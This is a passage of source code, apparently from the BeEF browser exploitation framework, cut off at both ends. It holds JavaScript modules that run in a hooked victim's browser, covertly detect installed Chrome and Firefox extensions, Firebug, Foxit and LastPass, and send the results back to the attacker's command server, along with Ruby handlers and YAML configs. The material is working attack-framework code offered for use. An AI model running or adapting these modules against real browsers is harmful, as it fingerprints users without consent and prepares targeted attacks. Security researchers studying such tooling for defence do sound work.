Array("pnjaodmkngahhkoihejjehlcdlnohgmp","RSS Feed Reader"), new Array("amckaikgfcndaokapfcedicfmagoghlg","The Guardian"), new Array("fnhcgnmfccojojojacgeiaaeacefdohb","fx music downloader(vk.com)"), new Array("bhngnpkhondjmhflomdlhfdoilcjljod","Old West"), new Array("ajnmfkilicomdippcehaldlonfldmlfi","House Plans"), new Array("bpnfmildohfgfpmmbpjdcglefamoddfh","Jovem Pan"), new Array("oolpphfmdmjbojolagcbgdemojhcnlod","Palette for Chrome"), new Array("okpfiebkkmjcnodegbbbiellepfhoglm","dotEPUB"), new Array("feejjhaipdfjnkeimajnalbkjobohceo","MondoFoot - Soccer manager"), new Array("ghaaiopcenpnhefnecimkodbblngibep","BM\\u0026FBOVESPA"), new Array("plkccdpiifjkmjpinpcmndkifhnjhooj","Fishdom"), new Array("jnkmfdileelhofjcijamephohjechhna","Google Analytics Debugger (by Google)"), new Array("pbpkgmnajebobcebngnagdabphfmooej","Wikinvest Portfolio Manager"), new Array("bkjehnmbocckbifckfegbkieblkipjmp","Ping Pong"), new Array("jkkenjlnjfemconejajakbijbheoffli","Yoono - Twitter, Facebook, LinkedIn, YouTube\u2122"), new Array("pfbomfffcjjedmakmnbmcpgfikifjbhn","Spool - Save Pages and Videos to your phone"), new Array("fiicmodaknllfjlmeempmdcnoljgbpmi","Zoho Show"), new Array("ddkahgkblobiogkkeedfnjkldecloidi","FeedSquares - Supercharge your Google Reader"), new Array("deajlcmcjmcfpclaepdpnlnjafmdmaap","El tiempo de eltiempo24.es"), new Array("foohbilkkdnmfpecjkhcdiddappljefi","Keep Running"), new Array("nioffklpggjkmgpndbfklpnclpohpjid","Melanto Calculator"), new Array("nifmhaejjafapjonfiidojfddmpndkmc","Image DNA"), new Array("peiamebfimhocbnbdfdihoehhidbifko","Paper Notes"), new Array("hgphhckhmaoilmdmmnelpdojhedeickk","Last Line Of Defense"), new Array("khiabpjgmmllgannkoghdgjlknjfjinl","Meng\u00e3o News"), new Array("nefjaladmbgpekhpikihnnchgbdfojpk","CanIStream.It"), new Array("bhkcehpnnlgncpnefpanachijmhikocj","Halo Word Dictionary"), new Array("gmikcfpooiakmdblbhhpigddpililahc","moto trial fest 3"), new Array("cnmilalfobndenadgejhchfcpijninel","The Game Effect"), new Array("bkjhgengjlmjemdedbkejkapjalfofic","Math Games"), new Array("jndmnofmldbobmplealejpbaafgdkfdl","Color Defense"), new Array("ibjoacaoedfohchdpbeoekenccjokodm","Free Online PDF Unlocker"), new Array("kpjpejalhlnocbhggpnokneghfenoneg","TouristEye Planner"), new Array("iffackmmnmlkcmlomaefadomgpelmncj","Need For Speed"), new Array("cnemellbcpjiodfgadpoebbjobfaoiga","Online Guitar Tuner"), new Array("mmoheajlpfaigefceljflpohdehkjbli","Blogger Dynamic Views (by Google)"), new Array("aomfjmibjhhfdenfkpaodhnlhkolngif","Task Timer"), new Array("ahdklmkchmokhfhaelgdecgpbijflalk","Wikipedia"), new Array("offpaifnchmpbnjhjbhpdffahlofdkfb","Scribble - stickies on steroids"), new Array("lpkdnfkjhdkcpimadpdcgapffceacjem","Reload All Tabs"), new Array("nbgkhncobohkmgdjdiijlbgjidpnnkcd","Finance 41"), new Array("pgehkhceingafmkkmbeoempaablkkeal","Bullet Physics NaCl Test"), new Array("onidmmcggfhldfcccpclneopbpdnmfkl","Rugby Manager"), new Array("ohcpnigalekghcmgcdcenkpelffpdolg","Color Pick"), new Array("mkahjcgpeocklmichhgkfhjkfmogknkn","Adapt or Die"), new Array("ddbfkngjokojcmmadaaipmjiacnnmgbl","iVocab: GRE, TOEFL and SAT"), new Array("pnnfemgpilpdaojpnkjdgfgbnnjojfik","Streak"), new Array("hcplneddoadgichngfbobgpllfphdfla","Gradient Creator!"), new Array("jinklgkideaicpdgmomlckebafjfibjk","VK Offline"), new Array("pfphgaimeghgekhncbkfblhdhfaiaipf","Surplus"), new Array("lpleipinonnoibneeejgjnoeekmbopbc","Extensions Manager (aka Switcher)"), new Array("hcamnijgggppihioleoenjmlnakejdph","RSS Live Links"), new Array("mhkmpnidbgboeiebfgmoibgjhopampkj","PBS Kids PLAY!"), new Array("goficmpcgcnombioohjcgdhbaloknabb","Notes Board"), new Array("igippnbkniajgjmfiklnjokigepheabp","Twinoo"), new Array("iaichpenkdlohcjgagagapnegbjmfnfh","Learn Portuguese - Tudo Bem"), new Array("kamlhhebdhbhbnekgdbpfheacleljimo","Stencil Graffiti Creator"), new Array("jahbdnncnelnpcacfhfggniimgpophoj","Prince of Persia 2"), new Array("epanfjkfahimkgomnigadpkobaefekcd","Do Not Track Plus"), new Array("kcijdkkommbhnpohidhdpkhendgcpamf","IP Address"), new Array("ldfjpcbgeppejpppciacpgdjfnnknjpm","BrickIt"), new Array("nincmkjomngcmklpdkmdkioemlhdieim","Frontline Defense 2 HD"), new Array("eanaknlfmaafbcpmaoencjmlmfaflkck","Chelsea FC"), new Array("aijhmofidkkiacjefgflgilhklblpjcm","Kingdom Rush"), new Array("fkpaakpeehepibjpdmoocdaonognfiog","Window Expander For YouTube"), new Array("ekohknbkaljnhffaahhgkjgebpfngibj","Guitar Geek"), new Array("ddafmpeeklkcphjibilbjpcilfomdlic","Spreaker"), new Array("kpemkngoajegcbamebdmnkjoalpofpbj","Soccer Manager"), new Array("akoaibgodkfmengiiainfdbjmmamfall","Mahjong Words 2"), new Array("igkmcmbbkdiaackeglcmoghohjfbcopg"," 3D F1 Racing"), new Array("peebcffbmignhnebbjhafalcbdddnpko","Max Connect"), new Array("clambabckinoeihmjaakmnhicmlbkjbc","\u30b8\u30e7\u30eb\u30c0\u30f3\u30e9\u30a4\u30d6!"), new Array("gdefoklganepljiopdnglodohlgfikkl","PDFescape Free PDF Editor"), new Array("oajmcmcpiboagipoflploplebgicaadj","CCTV View"), new Array("cefbaeiadhnofgmbbdbabdnfmimefebl","Turbo Racing"), new Array("nhfopeeobiloabkklfmpobebjicddbjp","My Days - Period \\u0026 Ovulation Tracker"), new Array("ekknnibaacmocnnnioagiamklcpkehpd","Jellyman"), new Array("hnkkehjnlfplmdnallbjjdnokolhblgb","mysms - Phone, PC \\u0026 Tablet Texting"), new Array("hbgjffonecbloecgdnookagmopcmacfh","Farm King"), new Array("ehbobaphhmjpchjknfpcnlhcbkjbclge","Email Game"), new Array("babnadkelplpnjaobnfbmgknmdhiogcn","Bloons Tower Defence 4.1"), new Array("pdhmenndgnkheidocakbiojkeialajii","Build Tower Bolxx"), new Array("oofakdmdcdjgmilfepadallikeeibfdm","Pipedrive CRM"), new Array("hifckkbolclkjfjpkdjjhoopadcpcfpa","Soccer FIFA 2010"), new Array("ahmjafkpanbipbhdhhdloofgkmhdckeg","Mud Bike Racing"), new Array("bnnkhdiodblfknjkjcifnpcmbkckmiaf","SONAR"), new Array("ehkfadhjdjbgeigkimdldcnpckmhnjbp","CocinaConPoco"), new Array("nlpooomomkhnelcnlomcoffaaofhfmmf","Vilanoise TV"), new Array("cgaknhmchnjaphondjciheacngggiclo","Facepad"), new Array("lenheondoadkgoodcgmcijcoiahhemch","Cube Time \\u0026 Expense Tracking"), new Array("elnakdbnokdbhjhbcklnpmlalnaolcaa","Zombie Outbreak 2"), new Array("knchnnobchplhcondheebifmidjopaeo","Wasteland Defender"), new Array("hppniclnjellenmgofamhegocemjjgcg","Resultados de f\u00fatbol"), new Array("eagohbglmapfmhakkmdnefnnfhcdpbff","Dayzipping"), new Array("nmkigfdipchbagbecdmmomiahkkhlcfo","Media Player"), new Array("jgjbldhpikblgpcbgdokneecddeomimo","Perpetual Blaze"), new Array("giicdeippcojpajolpbpmfohcpppihll","Demolition City 2"), new Array("pkkfaifipahceoplppopohchiobdmkim","Video Chat on Facebook"), new Array("plnlcclaocpblfckpfgmpdfndodkofpo","Uno"), new Array("mamnieegbgfhklagjjbacjiidjojeogd","Frogger Classic"), new Array("ohfiojbffhjhiijaedmibodkjnfbgbja","Taulf"), new Array("lpnflgjnaodohepcidmeajmnognomdac","Shooting Games"), new Array("odncdkhnnoclkbomkbflglagdibfeede","\u82f1\u8f9e\u90ce on the WEB Pro"), new Array("geigdllbfbaahjmlnjpccakpdfbgmlel","Monster Mowdown"), new Array("oddhbkghjoccbljmagcgoklbfdjeiinb","Minimalist for Gmail\u2122 (DEPRECATED!)"), new Array("bfmbadcfdhiklafcdohpfphhhakmiakk","Google Groups"), new Array("fjbdgmikfnklbopkafjgbcejoiipemkl","Cultures Online"), new Array("aahdmajpnpehigpjimeikadfnmoadbff","Happy Old Miner"), new Array("nbbplhlbacnmbelnhihijjkoelfodjdc","FlyOrDie Chess"), new Array("nmkbaaijgpppbokgnhhoakihofedkgcc","MuteTab"), new Array("ihamlfilbdodiokndlfmmlpjlnopaobi","Pretty Facebook Chat"), new Array("eoaodigphofcbomacfoknjlbpnhoifjc","Monster Island"), new Array("nioihlfoddilijjjeknopfcbglallkce","QR Image from URL"), new Array("jfpdnkkdgghlpdgldicfgnnnkhdfhocg","Spell Checker for Chrome"), new Array("hccbinpobnjcpckmcfngmdpnbnjpmcbd","AppJump App Launcher and Organizer"), new Array("ffjojpammnplfpppjcicjjkkigafkmmj","star war (3D)"), new Array("lilnjkiphkngmaklmlngobfodmhdhaho","Prism Puzzle 2"), new Array("bjcgpdkighmjfjlplcighhgamlhkimce","YouZeeK"), new Array("gchpchgegkdmbbhdikfmplpllehnfnmk","GGOAL"), new Array("phocfhaegibfmggagffipgngifmjjdno","Canvas Life"), new Array("aglfgpioobpcmdheljepehachdjeopad","Learn German - Wie Geht's"), new Array("caampdmalollkcdgdiilgpimcbfjfmoe","Facebook Me-Gusta Button"), new Array("binjiceocgbfooocmheaenmmcominbpe","JoinTabs"), new Array("keahandkkpofilglbkogbgdboknaonhh","\u5929\u6daf\u52a9\u624b"), new Array("dapjbgnjinbpoindlpdmhochffioedbn","BuiltWith Technology Profiler"), new Array("edibjaleplmkklgdabaddfombdbcafek","3D Racing"), new Array("nddpmdmpdcbnnkjfplckngdkhhmmbjaf","Sumon"), new Array("mdoongfaplfcbdmoemnnehfcpbnmcdpi","Call of Gods"), new Array("elkkomimknapgodalnkjeddkjnjkfmfp","ScribeFire"), new Array("achiaajeohjhddijekccekdhmmbogahe","Chit Chat City"), new Array("opdgckbdimehmjcfoddoghjieapefide","FitnessBliss"), new Array("dafaiapjnboakngjebdcgbaabglhjego","Juventus Social Wall"), new Array("mdlcpliloefkecimeagemfninoihnfig","Goodfon Wallpapers"), new Array("mhgknbehalhkedjgfhiaindklahhkccc","Date Today"), new Array("jgdeoagndhabdnoenpdcagbkkmjeibmh","Pixect"), new Array("imfaefgciinakhhijicamiodfbejphdb","RePlay.FR"), new Array("cepeknpdbndaejpbnmnkfdnadghpekmo","Battle Dawn"), new Array("ggfhpfknhaooigghmnblblanmmioiepn","Under Arms"), new Array("opmjilhagjcljjfhognaphkplgnodmha","Battleships"), new Array("oocnpgmgogaghamiaanioelohaeohijp","Way of an Idea"), new Array("pidjpfnhaidmahnblgikaaadclebmoio","Appie"), new Array("kbpdgcemjmjhgnphmehjhnbhjbgjleka","Ripples"), new Array("febjffjimfjehaekdkniojehjngaeajf","TwitterWatch - Real Time Twitter Update"), new Array("fjmhjjohhiehaoljianalpmfcceojaff","Service Pages for Google Chrome\u2122"), new Array("bfdjglobiolninfgldchakgfldifphic","QRreader beta"), new Array("efjnmljhhgladbahmmaigjjolibeafdc","ESPN"), new Array("akbhffdipdbpbljpigineiocenlilegd","Pac-xon"), new Array("gkkagmljmjdilndhenjikgdnebcpfkfo","Chikka"), new Array("adcnghffffopmjobbaabboiflpcchljd","Sandglaz"), new Array("calghnejjfdjcalcfiemkckmbfkconee","Ultimate Cricket"), new Array("imnghiiajfangdaolekmphkaohhcnklj","Save to Pulse"), new Array("deegloljmdbfbjhlimieancmcfombgjj","Good Noows"), new Array("aelbbmmnbhhejifmacegolomcmdggnfc","GardenPuzzle - Garden Planner"), new Array("gefphpbilnknofmmmjlgekgeclgajehk","Any New Books"), new Array("mgmiemnjjchgkmgbeljfocdjjnpjnmcg","Awesome New Tab Page"), new Array("pjooepcgnnoappldfldmnnnjpaopdblo","Universal Music"), new Array("gflibdiphnaciliajaeahdjoodibmbjb","Papa's Freezeria"), new Array("fajaoajlncmbolmpccmibgjpgmiilbfe","Toast Snatcher"), new Array("ofoaoaloeipdofknnaapbmdddddioklg","SEO SERP"), new Array("jaofpdcblhcphmliigaphljgfibghldn","Like.fm"), new Array("dmhidcnieiplicmhimkbfpiledfbdodo","Al Jazeera English"), new Array("ibjjkgadefcajphiihhlbagkkcfnhcij","Big Snow Tricks"), new Array("nnkeklmkmolipcclpncndnpdgilieafl","stern.de"), new Array("kohieaegcicdnaabkagajpanjakhekkb","Sports Games Collection"), new Array("pjlflpphgcocgjlmobgjbfneoemlbmlc","Gravity Guy"), new Array("mlbpknobcopmnlganinccihoafiblkne","War of Legends"), new Array("iggmbjghgeahcopdibklblgfkfendefg","NOS Video"), new Array("pnengefjfhgcceajaepbjhanoojifmog","Writer"), new Array("gpamkbhofeehomgnflocnjjcmcfibone","Google Project Hosting"), new Array("nlaohibjpbalcmbphaombidlahpndkdm","Whack a Mole"), new Array("fhegpdplcdokjeaeibbjgjcgmmadgncb","Radio 105"), new Array("daaehkjmdmodknldpplikflminiicfal","Bubble Cupid"), new Array("mfoffpkeihdlakgoebapjamipbkbgmpi","Tennis Doubles - 3D"), new Array("icojacdaddlajldkicfacgcjncbkieen","Pool Mania"), new Array("mlbnpnlmfngmlcmkhjpbfokdphfehhjj","ruul. Screen ruler"), new Array("peconnficnlajdpgfcjfmhjibkoijlbp","G-calize"), new Array("dofcilnakjpenampigbefbbeekanbfgl","Douban Pulse"), new Array("djlnllmnlolplmikofclonjoehopgffj","Radio stations from Argentina"), new Array("fboiibgbjljogjkebjcfhggbiponmpkk","Chrome Voice Control"), new Array("ogbnemfckmdpkeeccieeahplnemmbcfg","Floor Plan Creator"), new Array("jadajphjladhhmcjiomkmlihlknbnicc","YourNextFilm"), new Array("gkpcjgifmcccnfhonphppaikdkamkdgp","The World Smiling"), new Array("mcojpamlhfgicdibfhfpfaialnlaghbi","Mr MothBall "), new Array("pfagmcegbaeelbnibmipibkmigipedmk","Elfster"), new Array("imdilajngppdgdbemeighbingnbmpnpl","Faerie Alchemy HD"), new Array("pggaepdghiamdelgbgolfggheakmdgon","Falling Sand "), new Array("jepniedfbdhmplhbjffedeomcaopopob","Pursuit of Hat"), new Array("dljdanmclaloibaplofjjljkamhdofmg","Doremi"), new Array("mhaphfncflglmofajgmhlgekgkjefiae","vox.io"), new Array("foloenejobmljmemkomjcofkdjdnkggn","Radios do Brasil"), new Array("ekmnknlahnpppljnjacdbpnlpbkckcki","FlyOrDie Four in a Row"), new Array("aifpigcngkjdlbkjmkmhkhmhaepoielk","Learn European Languages (FREE VERSION)"), new Array("apdiogojbmdncjdpljocafnigiokgmci","UJAM - Make your music. Be heard."), new Array("hljnlfolmbmibdjaikiaepgepgnldclj","Simple Highlighter"), new Array("ofgppnjcdndocgicmodblmfmbdibefbm","\u8c46\u74e3FM \u7cbe\u7f8e\u7248"), new Array("aomjekmpappghadlogpigifkghlmebjk","Speech Recognizer"), new Array("ienibllimcjfdingpoihjipomkjnpial","Warzone Tower Defense"), new Array("jbmoechgcbcngboikkfiojlnefcgjepp","YourNextRead"), new Array("ojflnhjodgafkhbmblnpkkaomffojpca","The Impossible Quiz"), new Array("klicmgamjpclmbhppmdeamffedflmkcn","Sand 2"), new Array("jemlklgaibiijojffihnhieihhagocma","SingleFile Core"), new Array("mbnhjlkenpmankjjbbolibfcghileiae","Like.fm Music Profile"), new Array("jldhpllghnbhlbpcmnajkpdmadaolakh","Todoist: To-Do list and Task Manager"), new Array("lnempicjilmahngopecohbcbldlijkib","Mappeo"), new Array("ggpeehmipebgblgaokenepkkinmbnipa","NASA Online TV HD"), new Array("occfbdbgdodefnegmkafdlebmmifikkn","Rally Expert"), new Array("bjbjfcgehjgipnpgfdnlbodhildpafdf","Dog Hotel"), new Array("icncamkooinmbehmkeilcccmoljfkdhp","Wolfram|Alpha (Official)"), new Array("fogikklcokfgmlhjgkgaiehnjdodahbb","Fancy Pants Adventure: World 2"), new Array("ccmmgijadofegbfojekdglknbeeminej","\u0442\u0435\u043b\u0435\u0432\u0438\u0437\u043e\u0440"), new Array("napaodofbddcgpbgepkedckklhcmpilc","Flight 3D Aerobatics Training"), new Array("hiikfoplnkjhoiafgmcobenlfnbphbee","WarLight"), new Array("mmennkmmgljpjeihfakkbfadfbbfapgm","Formula 3D"), new Array("pmjcjgbbfaajnfohkokpemdcepngehjg","Pac Man Classic"), new Array("kkmlkkjojmombglmlpbpapmhcaljjkde","Zhongwen: A Chinese-English Popup Dictionary"), new Array("knnkddolkkmempomngnbeifoijaokkom","Aviary Color Editor"), new Array("poehiocknllbldkbpcncbgdafeeaojek","Football Volley Challenge"), new Array("nijhigeigjmbjpmhelkmfabiaogaplkd","Math Lab"), new Array("megglpjmadjmghjegnallnhiknjnnjhh","Guitar Chords"), new Array("llpeeehacmdheefdajbainfmpanommnd","Guia da Semana"), new Array("abmmkpmdgmnegiciliebkdafhgdaklkl","Volagratis Pilot"), new Array("eiidclgejnacldolfgpiiffbpapdpfji","ibibo Rummy"), new Array("clbjclclcokdnbfkhnmiocjcjmdeoeaj","Wikipedia SSL"), new Array("lmgkpnbfgimlalkolndeccanfnbpogcd","Solve a Cipher!"), new Array("ncccpckadclahjkmlemjbakodaaaemig","Dragon Age Legends"), new Array("bjackipnjjjefeppmpbgcdefaplneopj","MyNetDiary Calorie Counter and Food Diary"), new Array("mkamfeggnihmfbmbidpdmkapjenacmdc","Prince Of Persia"), new Array("ballhmoamkbbfadiealjmgmhbbnellbc","Toodledo Tasks"), new Array("liamajdghafnpofaconeimppimbdbhgi","Send to Instapaper"), new Array("mjkbgbnoikoflalnbnofkfegidffigke","Yoono WebApp"), new Array("ohncmadoekkdmccmbemflhfjogbpjigc","Hotel Finder by Amazebuy"), new Array("hnldbiikfjheppkbnjbnkgimnfejifpf","Oogle"), new Array("gcolaeigjaencllpclbijidbadgkdfde","Orkut Main Kill"), new Array("jdihnhedcafgpbbbbiohamlkbbjlifdb","Math Motorway"), new Array("oiabhgfgfhoilflkoicbmnejgjjfmhcg","Photo Collage"), new Array("odlofbgmekaiejbmlpnnlfaamehffedb","Mike Shadow - I paid for it!"), new Array("lpnmkolabeomngkkeljdkgnakemkcckm","Hidden Object Games Online"), new Array("kfoaifmljjopjdffohdndabjeejbnipm","Emqualcinema"), new Array("ljpaikmjlpddojgcoaejihgoneamafap","Bloons 2"), new Array("dkpacaoamfanlmkfcalnbbcdbmfcmclf","PocketSmith - Cashflow Forecasting"), new Array("mcbpblocgmgfnpjjppndjkmgjaogfceg","FireShot: Quick Captures and Annotations"), new Array("hbenbgblhhlecmfechhfecgioakobfdl","Guitar Tuner"), new Array("cdliblldgjdficcbflpdknckckdfdkbo","Shogun's Fate"), new Array("iakncpcejjmfmplodgimgpkhlclagncg","Wlingua - Curso de ingl\u00e9s"), new Array("eocaeafeojdmijlfeheaeabellldmbcc","Monster Jobs"), new Array("hgknnkhbpkjmdfhjhpchcijdjjeajalp","Valentine Mahjong"), new Array("jhegddohmncgelkehhnigphmloinkinj","Zoho Sheet"), new Array("ebojakelgejdogaleoeoaadjpefeifen","Mail Checker Minus (Beta)"), new Array("homldgnlpldcmdflhnabedgkgpmeanhd","Tweet Button for Chrome (by Shareaholic)"), new Array("hjcccdngnaailhnoflbeficiokgcfaah","Pearltrees"), new Array("chfghejgpdfifblfijbhnhgnhpmchpom","Google Plus Directory"), new Array("lganibdddhhoohdchmljgclacnfnkfgb","World Digital Library - UNESCO"), new Array("ndfkfbdpnknippjjpkdoiadggmohdpfg","Ace Pilots"), new Array("ddjklapimfghfjjinidpblloipjnnpgb","+Music"), new Array("deonblningjbcdgiidohkfhajiinphah","USA Streets"), new Array("nhhdgipkbgjblbgjlbakfffjbffpdblo","FlyOrDie Gomoku"), new Array("celkoncipomnbmcomjieepceifpcdgdl","StoryLines"), new Array("nmgcfdmgcfldfkehdgoancleciikdlnf","DeskSMS - Send and Receive Texts Messages"), new Array("kfjkehmceppcpjoaoegdmffmkdhiegmc","Pinterest Pin It Button (by Shareaholic)"), new Array("epdnnopdcceagfjiicjceffncileogdn","Virgin Radio Italy"), new Array("egnlbiigfcfmheinfklfonfgollmjkgc","INFO Lab"), new Array("bigbpmgpdffelbefknlmefjiejgoinao","Rage Comics"), new Array("mghenlmbmjcpehccoangkdpagbcbkdpc","Session Manager"), new Array("femogenllijpkfbckgkllmiekhjipene","\u4ea6\u6b4c"), new Array("pnmeglpffblgeibddiihnafkihmkleje","Aztec Drop"), new Array("ikijikcfedekifbolhamdccnhnlkhfpf","TheDeadline"), new Array("lkobmjibnppfleogmodpjgocgdbdiikp","WarTime"), new Array("inolmjbojghkehmmlbdmpdlmagalddni","Jagran - India No.1 Hindi News Daily") ); var firefox_extensions = { "Adblock Plus" : "chrome://adblockplus/skin/adblockplus.png", "Auto Copy" : "chrome://autocopy/skin/autocopy.png", "ColorZilla" : "chrome://colorzilla/skin/logo.png", "Customize Google" : "chrome://customizegoogle/skin/32x32.png", "DownThemAll!" : "chrome://dta/content/immagini/icon.png", "Faster Fox" : "chrome://fasterfox/skin/icon.png", "Flash Block" : "chrome://flashblock/skin/flash-on-24.png", "FlashGot" : "chrome://flashgot/skin/icon32.png", "Forecastfox" : "chrome://forecastfox/skin/images/icon.png", "Google Toolbar" : "chrome://google-toolbar/skin/icon.png", "Greasemonkey" : "chrome://greasemonkey/content/status_on.gif", "IE Tab" : "chrome://ietab/skin/ietab-button-ie16.png", "IE View" : "chrome://ieview/skin/ieview-icon.png", "JS View" : "chrome://jsview/skin/jsview.gif", "Live HTTP Headers" : "chrome://livehttpheaders/skin/img/Logo.png", "MeasureIt" : "chrome://measureit/skin/measureit.png", "SEO For Firefox" : "chrome://seo4firefox/content/icon32.png", "SEOpen" : "chrome://seopen/skin/seopen.png", "Search Status" : "chrome://searchstatus/skin/cax10.png", "Server Switcher" : "chrome://switcher/skin/icon.png", "StumbleUpon" : "chrome://stumbleupon/content/skin/logo32.png", "Tab Mix Plus" : "chrome://tabmixplus/skin/tmp.png", "Torrent-Search Toolbar" : "chrome://torrent-search/skin/v.png", "User Agent Switcher" : "chrome://useragentswitcher/content/logo.png", "View Source With" : "chrome://viewsourcewith/skin/ff/tb16.png", "Web Developer" : "chrome://webdeveloper/content/images/logo.png", "Unhide Passwords" : "chrome://unhidepw/skin/unhidepw.png", "UrlParams" : "chrome://urlparams/skin/urlparams32.png", "NewsFox" : "chrome://newsfox/skin/images/home.png", "Add N Edit Cookies" : "chrome://addneditcookies/skin/images/anec32.png", "GTDGmail" : "chrome://gtdgmail/content/gtd_lineitem.png", "QuickJava" : "chrome://quickjava/content/js.png", "Adblock Filterset.G Updater" : "chrome://unplug/skin/unplug.png", "BBCode" : "chrome://bbcode/skin/bbcode.png", "BugMeNot" : "chrome://bugmenot/skin/bugmenot.png", "ConQuery" : "chrome://conquery/skin/conquery.png", "Download Manager Tweak" : "chrome://downloadmgr/skin/downloadIcon.png", "Extended Cookie Manager" : "chrome://xcm/content/allowed.png", "FireBug" : "chrome://firebug/content/firebug32.png", "FoxyTunes" : "chrome://foxytunes/skin/logo.png", "MR Tech Disable XPI Install Delay" : "chrome://disable_xpi_delay/content/icon.png", "SessionSaver .2" : "chrome://sessionsaver/content/ss.png", "spooFX" : "chrome://spoofx/skin/main/spoofx.png", "Statusbar Clock" : "chrome://timestatus/skin/icon.png", "Torbutton" : "chrome://torbutton/skin/bigbutton_gr.png", "UnPlug" : "chrome://unplug/skin/unplug.png", "View Source Chart" : "chrome://vrs/skin/vrssmall.png", "XPather" : "chrome://xpather/content/iconka.png", "WOT" : "chrome://wot/skin/fusion/logo.png", "LastPass" : "chrome://lastpass/skin/vaultdelete.png", }; var failed = false; var detect_chrome_extension = function(addon_id, addon_name) { if (failed) { return false; } var s = document.createElement('script'); s.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'extension='+addon_name); } s.onerror = function() { throw 'detect_chrome_extension'; } s.src = 'chrome-extension://' + addon_id + '/manifest.json'; document.body.appendChild(s); } var detect_firefox_extension = function(addon_url, addon_name) { if (failed) { return false; } var img = document.createElement("img"); img.setAttribute("border", '0'); img.setAttribute("width", '0'); img.setAttribute("height", '0'); img.setAttribute("onload", "beef.net.send('<%= @command_url %>', <%= @command_id %>, 'extension=" + addon_name+ "');"); img.setAttribute('onerror', 'throw "detect_firefox_extension"'); img.setAttribute("src", addon_url); } if(beef.browser.isC()) { try { window.onerror = function (e) { if (!failed) { failed = true; if (e.indexOf("detect_chrome_extension") != -1) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error()); } } }; for (var i=0; i', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error()); } } else if(beef.browser.isFF()) { try { window.onerror = function (e) { if (!failed) { failed = true; if (e.indexOf("detect_firefox_extension") != -1) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error()); } } }; for (var i in firefox_extensions) { detect_firefox_extension(firefox_extensions[i], i); } } catch(e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error()); } } else { beef.debug('[Detect Extensions] Unspported browser'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=unsupported browser', beef.are.status_error()); } }); ================================================ FILE: modules/browser/detect_extensions/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_extensions: enable: true category: "Browser" name: "Detect Extensions" description: "This module detects extensions installed in Google Chrome and Mozilla Firefox." authors: ["koto", "bcoles", "nbblrr"] target: working: FF: min_ver: 1 max_ver: 50 C: min_ver: 1 max_ver: 18 not_working: ["All"] ================================================ FILE: modules/browser/detect_extensions/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # More info: # http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html # http://jeremiahgrossman.blogspot.fr/2006/08/i-know-what-youve-got-firefox.html # class Detect_extensions < BeEF::Core::Command def post_execute content = {} content['extension'] = @datastore['extension'] save content end end ================================================ FILE: modules/browser/detect_firebug/command.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result = "Not in use or not installed"; if (window.console && (window.console.firebug || window.console.exception)) result = "Enabled and in use!"; beef.net.send("<%= @command_url %>", <%= @command_id %>, "firebug="+result); }); ================================================ FILE: modules/browser/detect_firebug/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_firebug: enable: true category: "Browser" name: "Detect FireBug" description: "This module checks if the Mozilla Firefox Firebug extension is being use to inspect the current window." authors: ["bcoles"] target: working: ["FF"] not_working: ["All"] ================================================ FILE: modules/browser/detect_firebug/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_firebug < BeEF::Core::Command def post_execute content = {} content['firebug'] = @datastore['firebug'] unless @datastore['firebug'].nil? save content end end ================================================ FILE: modules/browser/detect_foxit/command.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result = ( beef.browser.hasFoxit() )? "Yes" : "No"; beef.net.send("<%= @command_url %>", <%= @command_id %>, "foxit="+result); }); ================================================ FILE: modules/browser/detect_foxit/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_foxit: enable: true category: "Browser" name: "Detect Foxit Reader" description: "This module will check if the browser has Foxit Reader Plugin." authors: ["javuto"] target: working: ["All"] ================================================ FILE: modules/browser/detect_foxit/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_foxit < BeEF::Core::Command def post_execute content = {} content['foxit'] = @datastore['foxit'] save content BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'HasFoxit', Regexp.last_match(1)) if @datastore['results'] =~ /^foxit=(Yes|No)/ end end ================================================ FILE: modules/browser/detect_lastpass/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function () { var result = "Not in use or not installed"; // The following base64 encoded string represents the LastPass inline PNG which is inserted into user/pass form fields var base64PNG = 